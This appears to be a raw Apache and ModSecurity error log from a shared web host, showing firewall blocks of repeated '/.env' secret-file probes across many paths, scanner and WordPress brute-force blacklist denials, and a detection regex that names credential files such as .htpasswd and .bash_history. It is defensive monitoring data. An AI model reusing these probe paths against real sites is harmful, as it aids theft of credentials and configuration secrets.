https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:17:26.721763 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.21:40121] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:26.722067 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.21:40121] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:26.771162 2026] [security2:error] [pid 646876:tid 647037] [client 34.23.213.224:41108] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFtyTkdrNlD40tSGusQAAAB0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:26.774947 2026] [security2:error] [pid 648189:tid 648369] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/hasura/.env"] [unique_id "ai3zFlWSojQL4F7upKBlVAAAAJU"] [Sat Jun 13 18:17:26.832329 2026] [access_compat:error] [pid 648189:tid 648239] [remote 57.141.14.14:32718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:26.832783 2026] [access_compat:error] [pid 648189:tid 648239] [remote 57.141.14.14:32718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:26.862482 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.15:23827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:26.862941 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.15:23827] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:26.890691 2026] [security2:error] [pid 646876:tid 647018] [client 192.178.6.40:43557] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevent/sapplings-forum-sustainability-in-sports/"] [unique_id "ai3zFtyTkdrNlD40tSGutwAAAAo"], referer: https://onemontgomerygreen.org/calendarevents/tag/sustainability-in-sports/list/?tribe-bar-date=2025-09-26&eventDisplay=past [Sat Jun 13 18:17:26.937411 2026] [security2:error] [pid 646876:tid 647101] [client 34.23.213.224:41110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zFtyTkdrNlD40tSGuuAAAAF0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:27.072238 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Helmetjs/.env"] [unique_id "ai3zF1WSojQL4F7upKBlXQAAAOw"] [Sat Jun 13 18:17:27.190994 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:17:27.191319 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:17:27.209106 2026] [security2:error] [pid 648189:tid 648486] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/hgs-static/.env"] [unique_id "ai3zF1WSojQL4F7upKBlZAAAAQQ"] [Sat Jun 13 18:17:27.346285 2026] [security2:error] [pid 648189:tid 648399] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/higlass-website/.env"] [unique_id "ai3zF1WSojQL4F7upKBlawAAALM"] [Sat Jun 13 18:17:27.358709 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.8:57821] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:27.359148 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.8:57821] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:27.367559 2026] [security2:error] [pid 648189:tid 648348] [remote 2a02:c7c:7378:bd00:19ca:4696:e07b:8f2c:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zF1WSojQL4F7upKBlbwAA-X0"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:27.367602 2026] [security2:error] [pid 648189:tid 648348] [remote 2a02:c7c:7378:bd00:19ca:4696:e07b:8f2c:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zF1WSojQL4F7upKBlbwAA-X0"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:27.375272 2026] [security2:error] [pid 648189:tid 648286] [remote 17.246.15.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zF1WSojQL4F7upKBlbgAAz0A"] [Sat Jun 13 18:17:27.484395 2026] [security2:error] [pid 648189:tid 648354] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/home/.env"] [unique_id "ai3zF1WSojQL4F7upKBlcwAAAIY"] [Sat Jun 13 18:17:27.622334 2026] [security2:error] [pid 648189:tid 648379] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/horde/.env"] [unique_id "ai3zF1WSojQL4F7upKBldQAAAJ8"] [Sat Jun 13 18:17:27.695594 2026] [security2:error] [pid 648189:tid 648327] [remote 17.246.15.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zF1WSojQL4F7upKBldgAAwmg"] [Sat Jun 13 18:17:27.720933 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:17:27.721391 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:17:27.759187 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/hotpot-app-frontend/.env"] [unique_id "ai3zF1WSojQL4F7upKBleQAAAN8"] [Sat Jun 13 18:17:27.898195 2026] [security2:error] [pid 648189:tid 648355] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/htdocs/.env"] [unique_id "ai3zF1WSojQL4F7upKBlfwAAAIc"] [Sat Jun 13 18:17:28.035788 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/html/.env"] [unique_id "ai3zGFWSojQL4F7upKBlhwAAAMc"] [Sat Jun 13 18:17:28.173894 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/http/.env"] [unique_id "ai3zGFWSojQL4F7upKBljgAAAOs"] [Sat Jun 13 18:17:28.195774 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:17:28.196206 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:17:28.312014 2026] [security2:error] [pid 648189:tid 648484] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/httpboot/.env"] [unique_id "ai3zGFWSojQL4F7upKBllAAAAQI"] [Sat Jun 13 18:17:28.351411 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.77:65163] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:28.351760 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.77:65163] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:28.368106 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.53:40158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:28.368466 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.53:40158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:28.417598 2026] [security2:error] [pid 646876:tid 647083] [client 172.56.168.133:1545] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zGNyTkdrNlD40tSGu0QAAAEs"] [Sat Jun 13 18:17:28.417831 2026] [security2:error] [pid 646876:tid 647083] [client 172.56.168.133:1545] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zGNyTkdrNlD40tSGu0QAAAEs"] [Sat Jun 13 18:17:28.450350 2026] [security2:error] [pid 648189:tid 648408] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/httpdocs/.env"] [unique_id "ai3zGFWSojQL4F7upKBlmwAAALs"] [Sat Jun 13 18:17:28.530186 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.54:58215] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:28.530471 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.54:58215] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:28.587836 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/HUNIV_migration/.env"] [unique_id "ai3zGFWSojQL4F7upKBloAAAAPc"] [Sat Jun 13 18:17:28.595417 2026] [security2:error] [pid 648189:tid 648292] [remote 17.246.19.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zGFWSojQL4F7upKBloQAA8UY"] [Sat Jun 13 18:17:28.606380 2026] [security2:error] [pid 648189:tid 648318] [remote 17.22.245.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zGFWSojQL4F7upKBlowAA3mA"] [Sat Jun 13 18:17:28.711181 2026] [access_compat:error] [pid 646876:tid 646951] [remote 216.73.216.223:30900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:28.711619 2026] [access_compat:error] [pid 646876:tid 646951] [remote 216.73.216.223:30900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:28.723507 2026] [security2:error] [pid 648189:tid 648386] [client 185.177.72.9:31328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/i.php"] [unique_id "ai3zGFWSojQL4F7upKBlsAAAAKY"] [Sat Jun 13 18:17:28.744837 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 